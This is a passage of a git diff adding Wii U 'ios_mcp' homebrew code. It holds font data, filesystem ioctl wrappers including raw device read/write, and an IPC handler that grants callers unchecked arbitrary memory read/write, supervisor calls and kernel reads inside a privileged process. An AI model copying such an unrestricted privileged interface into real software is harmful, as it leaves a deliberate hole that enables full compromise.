0xFE, 0x60, 0x60, 0x00, 0x00, 0x7E, 0x06, 0x7E, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x3C, 0x06, 0x3E, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x7E, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00, + 0x00, 0x3C, 0x66, 0x3C, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x3C, 0x66, 0x7C, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0C, 0x00, + 0x00, 0x70, 0x1C, 0x06, 0x06, 0x1C, 0x70, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x3E, 0x00, 0x00, 0x00, + 0x00, 0x0E, 0x38, 0x60, 0x60, 0x38, 0x0E, 0x00, 0x00, 0x3C, 0x66, 0x30, 0x18, 0x00, 0x18, 0x00, + 0x00, 0x3C, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3C, 0x00, 0x3C, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x06, 0x66, 0x3C, 0x00, + 0x00, 0x1E, 0x36, 0x66, 0x66, 0x36, 0x1E, 0x00, 0x00, 0x7E, 0x06, 0x1E, 0x06, 0x06, 0x7E, 0x00, + 0x00, 0x3E, 0x06, 0x1E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x76, 0x66, 0x3C, 0x00, + 0x00, 0x66, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, + 0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1C, 0x00, 0x00, 0x66, 0x36, 0x1E, 0x1E, 0x36, 0x66, 0x00, + 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7E, 0x00, 0x00, 0x46, 0x6E, 0x7E, 0x56, 0x46, 0x46, 0x00, + 0x00, 0x66, 0x6E, 0x7E, 0x76, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x70, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x1E, 0x36, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x0C, 0x30, 0x66, 0x3C, 0x00, + 0x00, 0x7E, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56, 0x7E, 0x6E, 0x46, 0x00, + 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x66, 0x00, 0x00, 0x66, 0x66, 0x3C, 0x18, 0x18, 0x18, 0x00, + 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x3C, + 0x00, 0x06, 0x0C, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3C, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3C, + 0x00, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, + 0x00, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x60, 0x7C, 0x66, 0x7C, 0x00, + 0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x00, 0x3C, 0x06, 0x06, 0x06, 0x3C, 0x00, + 0x00, 0x60, 0x60, 0x7C, 0x66, 0x66, 0x7C, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x7E, 0x06, 0x3C, 0x00, + 0x00, 0x38, 0x0C, 0x3E, 0x0C, 0x0C, 0x0C, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x7C, 0x40, 0x3C, 0x00, + 0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1C, 0x18, 0x18, 0x3C, 0x00, + 0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1E, 0x00, 0x00, 0x06, 0x06, 0x36, 0x1E, 0x36, 0x66, 0x00, + 0x00, 0x1C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, 0x00, 0x00, 0x66, 0xFE, 0xFE, 0xD6, 0xC6, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x66, 0x3E, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x66, 0x7C, 0x60, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x00, + 0x00, 0x18, 0x7E, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x7C, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x00, 0xC6, 0xD6, 0xFE, 0x7C, 0x6C, 0x00, + 0x00, 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7C, 0x60, 0x3C, 0x00, + 0x00, 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x7E, 0x00, 0x00, 0x00, 0x18, 0x08, 0x08, 0x04, 0x08, 0x08, + 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x0C, 0x08, 0x08, 0x10, 0x08, 0x08, +}; diff --git a/ios_mcp/source/font_bin.h b/ios_mcp/source/font_bin.h new file mode 100644 index 0000000..949de6c --- /dev/null +++ b/ios_mcp/source/font_bin.h @@ -0,0 +1 @@ +extern const u8 font_bin[]; \ No newline at end of file diff --git a/ios_mcp/source/fsa.c b/ios_mcp/source/fsa.c new file mode 100644 index 0000000..c7b4009 --- /dev/null +++ b/ios_mcp/source/fsa.c @@ -0,0 +1,437 @@ +#include +#include +#include +#include "svc.h" +#include "imports.h" +#include "fsa.h" + +static void* allocIobuf() +{ + void* ptr = svcAlloc(0xCAFF, 0x828); + + memset(ptr, 0x00, 0x828); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + strncpy((char*)&inbuf8[0x04], device_path, 0x27F); + strncpy((char*)&inbuf8[0x284], volume_path, 0x27F); + inbuf[0x504 / 4] = (u32)flags; + inbuf[0x508 / 4] = (u32)arg_string_len; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + iovec[1].ptr = arg_string; + iovec[1].len = arg_string_len; + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x01, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_Unmount(int fd, char* path, u32 flags) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284 / 4] = flags; + + int ret = svcIoctl(fd, 0x02, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_MakeDir(int fd, char* path, u32 flags) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284 / 4] = flags; + + int ret = svcIoctl(fd, 0x07, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_OpenDir(int fd, char* path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x0A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0B, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(directoryEntry_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RewindDir(int fd, int handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0C, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_CloseDir(int fd, int handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ChangeDir(int fd, char* path) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x05, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + strncpy((char*)&inbuf[0xA1], mode, 0x10); + + int ret = svcIoctl(fd, 0x0E, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int _FSA_ReadWriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags, bool read) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = size; + inbuf[0x0C / 4] = cnt; + inbuf[0x14 / 4] = fileHandle; + inbuf[0x18 / 4] = flags; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret; + if(read) ret = svcIoctlv(fd, 0x0F, 1, 2, iovec); + else ret = svcIoctlv(fd, 0x10, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) +{ + return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, true); +} + +int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) +{ + return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, false); +} + +int FSA_StatFile(int fd, int handle, fileStat_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x14, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_CloseFile(int fd, int fileHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = fileHandle; + + int ret = svcIoctl(fd, 0x15, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_SetPosFile(int fd, int fileHandle, u32 position) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = fileHandle; + inbuf[2] = position; + + int ret = svcIoctl(fd, 0x12, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_GetStat(int fd, char *path, fileStat_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284/4] = 5; + + int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_Remove(int fd, char *path) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x08, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ChangeMode(int fd, char *path, int mode) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284/4] = mode; + inbuf[0x288/4] = 0x777; // mask + + int ret = svcIoctl(fd, 0x20, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +// type 4 : +// 0x08 : device size in sectors (u64) +// 0x10 : device sector size (u32) +int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], device_path, 0x27F); + inbuf[0x284 / 4] = type; + + int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); + + int size = 0; + + switch(type) + { + case 0: case 1: case 7: + size = 0x8; + break; + case 2: + size = 0x4; + break; + case 3: + size = 0x1E; + break; + case 4: + size = 0x28; + break; + case 5: + size = 0x64; + break; + case 6: case 8: + size = 0x14; + break; + } + + memcpy(out_data, &outbuf[1], size); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawOpen(int fd, char* device_path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], device_path, 0x27F); + + int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawClose(int fd, int device_handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = device_handle; + + int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +// offset in blocks of 0x1000 bytes +int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + // note : offset_bytes = blocks_offset * size_bytes + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} diff --git a/ios_mcp/source/fsa.h b/ios_mcp/source/fsa.h new file mode 100644 index 0000000..914e3d7 --- /dev/null +++ b/ios_mcp/source/fsa.h @@ -0,0 +1,59 @@ +#ifndef FSA_H +#define FSA_H + +typedef struct +{ + u32 flag; + u32 permission; + u32 owner_id; + u32 group_id; + u32 size; // size in bytes + u32 physsize; // physical size on disk in bytes + u32 unk[3]; + u32 id; + u32 ctime; + u32 mtime; + u32 unk2[0x0D]; +}fileStat_s; + +typedef struct +{ + fileStat_s stat; + char name[0x100]; +}directoryEntry_s; + +#define DIR_ENTRY_IS_DIRECTORY 0x80000000 + +#define FSA_MOUNTFLAGS_BINDMOUNT (1 << 0) +#define FSA_MOUNTFLAGS_GLOBAL (1 << 1) + +int FSA_Open(); + +int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len); +int FSA_Unmount(int fd, char* path, u32 flags); + +int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data); + +int FSA_MakeDir(int fd, char* path, u32 flags); +int FSA_OpenDir(int fd, char* path, int* outHandle); +int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data); +int FSA_RewindDir(int fd, int handle); +int FSA_CloseDir(int fd, int handle); +int FSA_ChangeDir(int fd, char* path); + +int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle); +int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); +int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); +int FSA_StatFile(int fd, int handle, fileStat_s* out_data); +int FSA_CloseFile(int fd, int fileHandle); +int FSA_SetPosFile(int fd, int fileHandle, u32 position); +int FSA_GetStat(int fd, char *path, fileStat_s* out_data); +int FSA_Remove(int fd, char *path); +int FSA_ChangeMode(int fd, char *path, int mode); + +int FSA_RawOpen(int fd, char* device_path, int* outHandle); +int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawClose(int fd, int device_handle); + +#endif diff --git a/ios_mcp/source/imports.c b/ios_mcp/source/imports.c new file mode 100644 index 0000000..a3f94b3 --- /dev/null +++ b/ios_mcp/source/imports.c @@ -0,0 +1,49 @@ +#include "imports.h" + +void usleep(u32 time) +{ + ((void (*const)(u32))0x050564E4)(time); +} + +void* memset(void* dst, int val, size_t size) +{ + char* _dst = dst; + + int i; + for(i = 0; i < size; i++) _dst[i] = val; + + return dst; +} + +void* (*const _memcpy)(void* dst, void* src, int size) = (void*)0x05054E54; + +void* memcpy(void* dst, const void* src, size_t size) +{ + return _memcpy(dst, (void*)src, size); +} + +int strlen(const char* str) +{ + unsigned int i = 0; + while (str[i]) { + i++; + } + return i; +} + +char* strncpy(char* dst, const char* src, size_t size) +{ + int i; + for(i = 0; i < size; i++) + { + dst[i] = src[i]; + if(src[i] == '\0') return dst; + } + + return dst; +} + +int vsnprintf(char * s, size_t n, const char * format, va_list arg) +{ + return ((int (*const)(char*, size_t, const char *, va_list))0x05055C40)(s, n, format, arg); +} diff --git a/ios_mcp/source/imports.h b/ios_mcp/source/imports.h new file mode 100644 index 0000000..72ee497 --- /dev/null +++ b/ios_mcp/source/imports.h @@ -0,0 +1,12 @@ +#ifndef IMPORTS_H +#define IMPORTS_H + +#include +#include +#include "types.h" + +#define MCP_SVC_BASE ((void*)0x050567EC) + +void usleep(u32 time); + +#endif diff --git a/ios_mcp/source/ipc.c b/ios_mcp/source/ipc.c new file mode 100644 index 0000000..53b83dd --- /dev/null +++ b/ios_mcp/source/ipc.c @@ -0,0 +1,480 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include +#include +#include +#include "imports.h" +#include "fsa.h" +#include "svc.h" +#include "text.h" +#include "logger.h" +#include "fsa.h" + +#define IOS_ERROR_UNKNOWN_VALUE 0xFFFFFFD6 +#define IOS_ERROR_INVALID_ARG 0xFFFFFFE3 +#define IOS_ERROR_INVALID_SIZE 0xFFFFFFE9 +#define IOS_ERROR_UNKNOWN 0xFFFFFFF7 +#define IOS_ERROR_NOEXISTS 0xFFFFFFFA + +#define IOCTL_MEM_WRITE 0x00 +#define IOCTL_MEM_READ 0x01 +#define IOCTL_SVC 0x02 +#define IOCTL_MEMCPY 0x04 +#define IOCTL_REPEATED_WRITE 0x05 +#define IOCTL_KERN_READ32 0x06 +#define IOCTL_KERN_WRITE32 0x07 + +#define IOCTL_FSA_OPEN 0x40 +#define IOCTL_FSA_CLOSE 0x41 +#define IOCTL_FSA_MOUNT 0x42 +#define IOCTL_FSA_UNMOUNT 0x43 +#define IOCTL_FSA_GETDEVICEINFO 0x44 +#define IOCTL_FSA_OPENDIR 0x45 +#define IOCTL_FSA_READDIR 0x46 +#define IOCTL_FSA_CLOSEDIR 0x47 +#define IOCTL_FSA_MAKEDIR 0x48 +#define IOCTL_FSA_OPENFILE 0x49 +#define IOCTL_FSA_READFILE 0x4A +#define IOCTL_FSA_WRITEFILE 0x4B +#define IOCTL_FSA_STATFILE 0x4C +#define IOCTL_FSA_CLOSEFILE 0x4D +#define IOCTL_FSA_SETFILEPOS 0x4E +#define IOCTL_FSA_GETSTAT 0x4F +#define IOCTL_FSA_REMOVE 0x50 +#define IOCTL_FSA_REWINDDIR 0x51 +#define IOCTL_FSA_CHDIR 0x52 +#define IOCTL_FSA_RENAME 0x53 +#define IOCTL_FSA_RAW_OPEN 0x54 +#define IOCTL_FSA_RAW_READ 0x55 +#define IOCTL_FSA_RAW_WRITE 0x56 +#define IOCTL_FSA_RAW_CLOSE 0x57 +#define IOCTL_FSA_CHANGEMODE 0x58 + +static u8 threadStack[0x1000] __attribute__((aligned(0x20))); + +static int ipc_ioctl(ipcmessage *message) +{ + int res = 0; + + switch(message->ioctl.command) + { + case IOCTL_MEM_WRITE: + { + if(message->ioctl.length_in < 4) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy((void*)message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4); + } + break; + } + case IOCTL_MEM_READ: + { + if(message->ioctl.length_in < 4) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy(message->ioctl.buffer_io, (void*)message->ioctl.buffer_in[0], message->ioctl.length_io); + } + break; + } + case IOCTL_SVC: + { + if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + int svc_id = message->ioctl.buffer_in[0]; + int size_arguments = message->ioctl.length_in - 4; + + u32 arguments[8]; + memset(arguments, 0x00, sizeof(arguments)); + memcpy(arguments, message->ioctl.buffer_in + 1, (size_arguments < 8 * 4) ? size_arguments : (8 * 4)); + + // return error code as data + message->ioctl.buffer_io[0] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); + } + break; + } + case IOCTL_MEMCPY: + { + if(message->ioctl.length_in < 12) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy((void*)message->ioctl.buffer_in[0], (void*)message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]); + } + break; + } + case IOCTL_REPEATED_WRITE: + { + if(message->ioctl.length_in < 12) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + u32* dst = (u32*)message->ioctl.buffer_in[0]; + u32* cache_range = (u32*)(message->ioctl.buffer_in[0] & ~0xFF); + u32 value = message->ioctl.buffer_in[1]; + u32 n = message->ioctl.buffer_in[2]; + + u32 old = *dst; + int i; + for(i = 0; i < n; i++) + { + if(*dst != old) + { + if(*dst == 0x0) old = *dst; + else + { + *dst = value; + svcFlushDCache(cache_range, 0x100); + break; + } + }else + { + svcInvalidateDCache(cache_range, 0x100); + usleep(50); + } + } + } + break; + } + case IOCTL_KERN_READ32: + { + if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + for(u32 i = 0; i < (message->ioctl.length_io/4); i++) + { + message->ioctl.buffer_io[i] = svcRead32(message->ioctl.buffer_in[0] + i * 4); + } + } + break; + } + case IOCTL_KERN_WRITE32: + { + //! TODO: add syscall as on kern_read32 + res = IOS_ERROR_NOEXISTS; + break; + } + //!-------------------------------------------------------------------------------------------------------------- + //! FSA handles for better performance + //!-------------------------------------------------------------------------------------------------------------- + //! TODO: add checks for i/o buffer length + case IOCTL_FSA_OPEN: + { + message->ioctl.buffer_io[0] = svcOpen("/dev/fsa", 0); + break; + } + case IOCTL_FSA_CLOSE: + { + int fd = message->ioctl.buffer_in[0]; + message->ioctl.buffer_io[0] = svcClose(fd); + break; + } + case IOCTL_FSA_MOUNT: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + char *volume_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; + u32 flags = message->ioctl.buffer_in[3]; + char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0; + int arg_string_len = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len); + break; + } + case IOCTL_FSA_UNMOUNT: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + u32 flags = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags); + break; + } + case IOCTL_FSA_GETDEVICEINFO: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + int type = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_OPENDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int*)message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_READDIR: + { + int fd = message->ioctl.buffer_in[0]; + int handle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (directoryEntry_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_CLOSEDIR: + { + int fd = message->ioctl.buffer_in[0]; + int handle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle); + break; + } + case IOCTL_FSA_MAKEDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + u32 flags = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags); + break; + } + case IOCTL_FSA_OPENFILE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + char *mode = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; + + 